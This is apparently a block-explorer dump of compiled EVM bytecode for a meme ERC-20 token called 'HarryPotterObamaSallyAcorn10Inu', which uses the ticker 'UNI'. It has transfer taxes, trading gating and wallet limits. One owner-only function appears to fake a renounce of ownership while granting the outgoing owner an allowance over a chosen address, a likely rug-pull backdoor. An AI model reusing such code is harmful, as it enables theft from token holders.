fffffffffffffffffffff1660015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e94576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e8b9061293d565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610f02576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ef990612a6c565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a38060015f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611035576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161102c90612afa565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036110a3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161109a90612b88565b60405180910390fd5b805f808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161117c919061245e565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036111f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111ee90612c16565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611265576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161125c90612ca4565b60405180910390fd5b5f81116112a7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161129e90612d32565b60405180910390fd5b6112af610be2565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561131d57506112ed610be2565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561163357600360149054906101000a900460ff166113ac5761133e610be2565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16146113ab576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113a290612dc0565b60405180910390fd5b5b600a548111156113f1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113e890612e28565b60405180910390fd5b60115f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161461149d57600b548161145284610a5d565b61145c9190612e46565b1061149c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161149390612ee9565b60405180910390fd5b5b5f6114a730610a5d565b90505f600c548210159050600a5482106114c157600a5491505b8080156114db5750600360159054906101000a900460ff16155b8015611534575060115f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b801561154c5750600360169054906101000a900460ff165b801561159f575060125f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b80156115f2575060125f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b1561163057611600826119f4565b5f4790505f81111561162e5761162d600360028361161e9190612f07565b6116289190612f75565b611c5f565b5b505b50505b5f6001905060125f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16806116d3575060125f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b80611784575060115f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015611783575060115f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b15611791575f9050611914565b60115f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614801561183a575060035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561185257600554600881905550600654600e819055505b60115f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156118fb575060035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b1561191357600754600881905550600954600e819055505b5b61192084848484611d59565b50505050565b5f83831115829061196d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119649190612501565b60405180910390fd5b505f838561197b9190612fa5565b9050809150509392505050565b5f600d548211156119ce576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119c590613048565b60405180910390fd5b5f6119d7611d86565b90506119ec8184611daf90919063ffffffff16565b915050919050565b6001600360156101000a81548160ff0219169083151502179055505f600267ffffffffffffffff811115611a2b57611a2a613066565b5b604051908082528060200260200182016040528015611a595781602001602082028036833780820191505090505b50905030815f81518110611a7057611a6f61295b565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611b14573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611b3891906130a7565b81600181518110611b4c57611b4b61295b565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611bb23060035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610fc7565b60035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b8152600401611c149594939291906131c2565b5f604051808303815f87803b158015611c2b575f80fd5b505af1158015611c3d573d5f803e3d5ffd5b50505050505f600360156101000a81548160ff02191690831515021790555050565b5f600290505f8183611c719190612f75565b905060155f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f19350505050158015611cd7573d5f803e3d5ffd5b5060165f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc600184611d209190612e46565b83611d2b9190612f07565b90811502906040515f60405180830381858888f19350505050158015611d53573d5f803e3d5ffd5b50505050565b80611d6757611d66611df8565b5b611d72848484611e31565b80611d8057611d7f611ff1565b5b50505050565b5f805f611d91612005565b91509150611da88183611daf90919063ffffffff16565b9250505090565b5f611df083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612061565b905092915050565b5f600854148015611e0a57505f600e54145b611e2f57600854600f81905550600e546010819055505f6008819055505f600e819055505b565b5f805f805f80611e40876120c2565b955095509550955095509550611e9c8660135f8c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461212290919063ffffffff16565b60135f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550611f2d8560135f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461216b90919063ffffffff16565b60135f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550611f77816121c8565b611f81848361227f565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611fde919061245e565b60405180910390a3505050505050505050565b600f54600881905550601054600e81905550565b5f805f600d5490505f670de0b6b3a76400009050612036670de0b6b3a7640000600d54611daf90919063ffffffff16565b82101561205457600d54670de0b6b3a764000093509350505061205d565b81819350935050505b9091565b5f80831182906120a7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161209e9190612501565b60405180910390fd5b505f83856120b59190612f75565b9050809150509392505050565b5f805f805f805f805f6120da8a600854600e546122b9565b9250925092505f6120e9611d86565b90505f805f6120fa8e87878761234b565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b5f61216383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611926565b905092915050565b5f8082846121799190612e46565b9050838110156121be576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121b590613264565b60405180910390fd5b8091505092915050565b5f6121d1611d86565b90505f6121e782846123cf90919063ffffffff16565b90506122398160135f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461216b90919063ffffffff16565b60135f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550505050565b61229482600d5461212290919063ffffffff16565b600d819055506122af8160045461216b90919063ffffffff16565b6004819055505050565b5f805f806122e360646122d5888a6123cf90919063ffffffff16565b611daf90919063ffffffff16565b90505f61230c60646122fe888b6123cf90919063ffffffff16565b611daf90919063ffffffff16565b90505f61233482612326858c61212290919063ffffffff16565b61212290919063ffffffff16565b905080838395509550955050505093509350939050565b5f805f8061236285896123cf90919063ffffffff16565b90505f61237886896123cf90919063ffffffff16565b90505f61238e87896123cf90919063ffffffff16565b90505f6123b6826123a8858761212290919063ffffffff16565b61212290919063ffffffff16565b9050838184965096509650505050509450945094915050565b5f8083036123df575f9050612440565b5f82846123ec9190612f07565b90508284826123fb9190612f75565b1461243b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612432906132f2565b60405180910390fd5b809150505b92915050565b5f819050919050565b61245881612446565b82525050565b5f6020820190506124715f83018461244f565b92915050565b5f81519050919050565b5f82825260208201905092915050565b5f5b838110156124ae578082015181840152602081019050612493565b5f8484015250505050565b5f601f19601f8301169050919050565b5f6124d382612477565b6124dd8185612481565b93506124ed818560208601612491565b6124f6816124b9565b840191505092915050565b5f6020820190508181035f83015261251981846124c9565b905092915050565b5f80fd5b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61255282612529565b9050919050565b61256281612548565b811461256c575f80fd5b50565b5f8135905061257d81612559565b92915050565b61258c81612446565b8114612596575f80fd5b50565b5f813590506125a781612583565b92915050565b5f80604083850312156125c3576125c2612521565b5b5f6125d08582860161256f565b92505060206125e185828601612599565b9150509250929050565b5f8115159050919050565b6125ff816125eb565b82525050565b5f6020820190506126185f8301846125f6565b92915050565b5f819050919050565b5f61264161263c61263784612529565b61261e565b612529565b9050919050565b5f61265282612627565b9050919050565b5f61266382612648565b9050919050565b61267381612659565b82525050565b5f60208201905061268c5f83018461266a565b92915050565b5f805f606084860312156126a9576126a8612521565b5b5f6126b68682870161256f565b93505060206126c78682870161256f565b92505060406126d886828701612599565b9150509250925092565b5f60ff82169050919050565b6126f7816126e2565b82525050565b5f6020820190506127105f8301846126ee565b92915050565b5f61272082612529565b9050919050565b61273081612716565b82525050565b5f6020820190506127495f830184612727565b92915050565b61275881612548565b82525050565b5f6020820190506127715f83018461274f565b92915050565b5f6020828403121561278c5761278b612521565b5b5f61279984828501612599565b91505092915050565b5f602082840312156127b7576127b6612521565b5b5f6127c48482850161256f565b91505092915050565b5f80fd5b5f80fd5b5f80fd5b5f8083601f8401126127ee576127ed6127cd565b5b8235905067ffffffffffffffff81111561280b5761280a6127d1565b5b602083019150836020820283011115612827576128266127d5565b5b9250929050565b612837816125eb565b8114612841575f80fd5b50565b5f813590506128528161282e565b92915050565b5f805f6040848603121561286f5761286e612521565b5b5f84013567ffffffffffffffff81111561288c5761288b612525565b5b612898868287016127d9565b935093505060206128ab86828701612844565b9150509250925092565b5f80604083850312156128cb576128ca612521565b5b5f6128d88582860161256f565b92505060206128e98582860161256f565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f612927602083612481565b9150612932826128f3565b602082019050919050565b5f6020820190508181035f8301526129548161291b565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f6129bf82612446565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82036129f1576129f0612988565b5b600182019050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f612a56602683612481565b9150612a61826129fc565b604082019050919050565b5f6020820190508181035f830152612a8381612a4a565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f612ae4602483612481565b9150612aef82612a8a565b604082019050919050565b5f6020820190508181035f830152612b1181612ad8565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f612b72602283612481565b9150612b7d82612b18565b604082019050919050565b5f6020820190508181035f830152612b9f81612b66565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f612c00602583612481565b9150612c0b82612ba6565b604082019050919050565b5f6020820190508181035f830152612c2d81612bf4565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f612c8e602383612481565b9150612c9982612c34565b604082019050919050565b5f6020820190508181035f830152612cbb81612c82565b9050919050565b7f5472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b5f612d1c602983612481565b9150612d2782612cc2565b604082019050919050565b5f6020820190508181035f830152612d4981612d10565b9050919050565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e64205f8201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b5f612daa603f83612481565b9150612db582612d50565b604082019050919050565b5f6020820190508181035f830152612dd781612d9e565b9050919050565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000005f82015250565b5f612e12601c83612481565b9150612e1d82612dde565b602082019050919050565b5f6020820190508181035f830152612e3f81612e06565b9050919050565b5f612e5082612446565b9150612e5b83612446565b9250828201905080821115612e7357612e72612988565b5b92915050565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073695f8201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b5f612ed3602383612481565b9150612ede82612e79565b604082019050919050565b5f6020820190508181035f830152612f0081612ec7565b9050919050565b5f612f1182612446565b9150612f1c83612446565b9250828202612f2a81612446565b91508282048414831517612f4157612f40612988565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f612f7f82612446565b9150612f8a83612446565b925082612f9a57612f99612f48565b5b828204905092915050565b5f612faf82612446565b9150612fba83612446565b9250828203905081811115612fd257612fd1612988565b5b92915050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c20725f8201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b5f613032602a83612481565b915061303d82612fd8565b604082019050919050565b5f6020820190508181035f83015261305f81613026565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b5f815190506130a181612559565b92915050565b5f602082840312156130bc576130bb612521565b5b5f6130c984828501613093565b91505092915050565b5f819050919050565b5f6130f56130f06130eb846130d2565b61261e565b612446565b9050919050565b613105816130db565b82525050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b61313d81612548565b82525050565b5f61314e8383613134565b60208301905092915050565b5f602082019050919050565b5f6131708261310b565b61317a8185613115565b935061318583613125565b805f5b838110156131b557815161319c8882613143565b97506131a78361315a565b925050600181019050613188565b5085935050505092915050565b5f60a0820190506131d55f83018861244f565b6131e260208301876130fc565b81810360408301526131f48186613166565b9050613203606083018561274f565b613210608083018461244f565b9695505050505050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f61324e601b83612481565b91506132598261321a565b602082019050919050565b5f6020820190508181035f83015261327b81613242565b9050919050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f6132dc602183612481565b91506132e782613282565b604082019050919050565b5f6020820190508181035f830152613309816132d0565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212202f8451f63373f804d384b11b694a900c7a0c08d526262038227573a8d6b0397c64736f6c63430008150033

Deployed Bytecode

0x608060405260043610610143575f3560e01c80633d8af5f2116100b557806395d89b411161006e57806395d89b41146104345780639d2918fa1461045e578063a9059cbb14610488578063ca72a4e7146104c4578063dd62ed3e146104ec578063f2fde38b146105285761014a565b80633d8af5f21461032a5780634bf28fd0146103545780634f473db01461037e57806370a08231146103a657806383364ea2146103e25780638da5cb5b1461040a5761014a565b806318160ddd1161010757806318160ddd1461023257806320189d281461025c57806323b872dd146102845780632fae7937146102c0578063313ce567146102d657806335c55bf2146103005761014a565b8063039cc7491461014e57806304d6d79e1461017857806306fdde03146101a2578063095ea7b3146101cc5780631694505e146102085761014a565b3661014a57005b5f80fd5b348015610159575f80fd5b50610162610550565b60405161016f919061245e565b60405180910390f35b348015610183575f80fd5b5061018c610556565b604051610199919061245e565b60405180910390f35b3480156101ad575f80fd5b506101b661055c565b6040516101c39190612501565b60405180910390f35b3480156101d7575f80fd5b506101f260048036038101906101ed91906125ad565b610599565b6040516101ff9190612605565b60405180910390f35b348015610213575f80fd5b5061021c6105b6565b6040516102299190612679565b60405180910390f35b34801561023d575f80fd5b506102466105db565b604051610253919061245e565b60405180910390f35b348015610267575f80fd5b50610282600480360381019061027d91906125ad565b6105ea565b005b34801561028f575f80fd5b506102aa60048036038101906102a59190612692565b6107dc565b6040516102b79190612605565b60405180910390f35b3480156102cb575f80fd5b506102d46108af565b005b3480156102e1575f80fd5b506102ea610965565b6040516102f791906126fd565b60405180910390f35b34801561030b575f80fd5b5061031461096d565b6040516103219190612736565b60405180910390f35b348015610335575f80fd5b5061033e610992565b60405161034b919061245e565b60405180910390f35b34801561035f575f80fd5b50610368610998565b604051610375919061275e565b60405180910390f35b348015610389575f80fd5b506103a4600480360381019061039f9190612777565b6109bd565b005b3480156103b1575f80fd5b506103cc60048036038101906103c791906127a2565b610a5d565b6040516103d9919061245e565b60405180910390f35b3480156103ed575f80fd5b5061040860048036038101906104039190612858565b610aab565b005b348015610415575f80fd5b5061041e610be2565b60405161042b919061275e565b60405180910390f35b34801561043f575f80fd5b50610448610c0a565b6040516104559190612501565b60405180910390f35b348015610469575f80fd5b50610472610c47565b60405161047f9190612736565b60405180910390f35b348015610493575f80fd5b506104ae60048036038101906104a991906125ad565b610c6c565b6040516104bb9190612605565b60405180910390f35b3480156104cf575f80fd5b506104ea60048036038101906104e591906127a2565b610c89565b005b3480156104f7575f80fd5b50610512600480360381019061050d91906128b5565b610d7d565b60405161051f919061245e565b60405180910390f35b348015610533575f80fd5b5061054e600480360381019061054991906127a2565b610dfe565b005b600a5481565b600c5481565b60606040518060400160405280601f81526020017f4861727279506f747465724f62616d6153616c6c7941636f726e3130496e7500815250905090565b5f6105ac6105a5610fc0565b8484610fc7565b6001905092915050565b60035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f670de0b6b3a7640000905090565b6105f2610fc0565b73ffffffffffffffffffffffffffffffffffffffff1660015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610680576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106779061293d565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff1660015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3805f808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505f60015f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050565b5f6107e8848484611189565b6108a4846107f4610fc0565b61089f85604051806060016040528060288152602001613311602891395f808b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f610856610fc0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546119269092919063ffffffff16565b610fc7565b600190509392505050565b6108b7610fc0565b73ffffffffffffffffffffffffffffffffffffffff1660015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610945576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161093c9061293d565b60405180910390fd5b670de0b6b3a7640000600a81905550670de0b6b3a7640000600b81905550565b5f6009905090565b60165f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600b5481565b60115f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6109c5610fc0565b73ffffffffffffffffffffffffffffffffffffffff1660015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a53576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a4a9061293d565b60405180910390fd5b80600c8190555050565b5f610aa460135f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611988565b9050919050565b610ab3610fc0565b73ffffffffffffffffffffffffffffffffffffffff1660015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b41576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b389061293d565b60405180910390fd5b5f5b83839050811015610bdc578160125f868685818110610b6557610b6461295b565b5b9050602002016020810190610b7a91906127a2565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055508080610bd4906129b5565b915050610b43565b50505050565b5f60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600381526020017f554e490000000000000000000000000000000000000000000000000000000000815250905090565b60155f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f610c7f610c78610fc0565b8484611189565b6001905092915050565b610c91610fc0565b73ffffffffffffffffffffffffffffffffffffffff1660015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d1f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d169061293d565b60405180910390fd5b6001600360146101000a81548160ff0219169083151502179055508060115f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f805f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b610e06610fc0565b73ffffffffffffffffffffffffffffffffffffffff1660015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e94576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e8b9061293d565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610f02576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ef990612a6c565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a38060015f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611035576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161102c90612afa565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036110a3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161109a90612b88565b60405180910390fd5b805f808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161117c919061245e565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036111f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111ee90612c16565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611265576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161125c90612ca4565b60405180910390fd5b5f81116112a7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161129e90612d32565b60405180910390fd5b6112af610be2565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561131d57506112ed610be2565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561163357600360149054906101000a900460ff166113ac5761133e610be2565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16146113ab576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113a290612dc0565b60405180910390fd5b5b600a548111156113f1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113e890612e28565b60405180910390fd5b60115f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161461149d57600b548161145284610a5d565b61145c9190612e46565b1061149c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161149390612ee9565b60405180910390fd5b5b5f6114a730610a5d565b90505f600c548210159050600a5482106114c157600a5491505b8080156114db5750600360159054906101000a900460ff16155b8015611534575060115f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b801561154c5750600360169054906101000a900460ff165b801561159f575060125f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b80156115f2575060125f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b1561163057611600826119f4565b5f4790505f81111561162e5761162d600360028361161e9190612f07565b6116289190612f75565b611c5f565b5b505b50505b5f6001905060125f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16806116d3575060125f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b80611784575060115f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015611783575060115f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b15611791575f9050611914565b60115f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614801561183a575060035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561185257600554600881905550600654600e819055505b60115f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156118fb575060035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b1561191357600754600881905550600954600e819055505b5b61192084848484611d59565b50505050565b5f83831115829061196d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119649190612501565b60405180910390fd5b505f838561197b9190612fa5565b90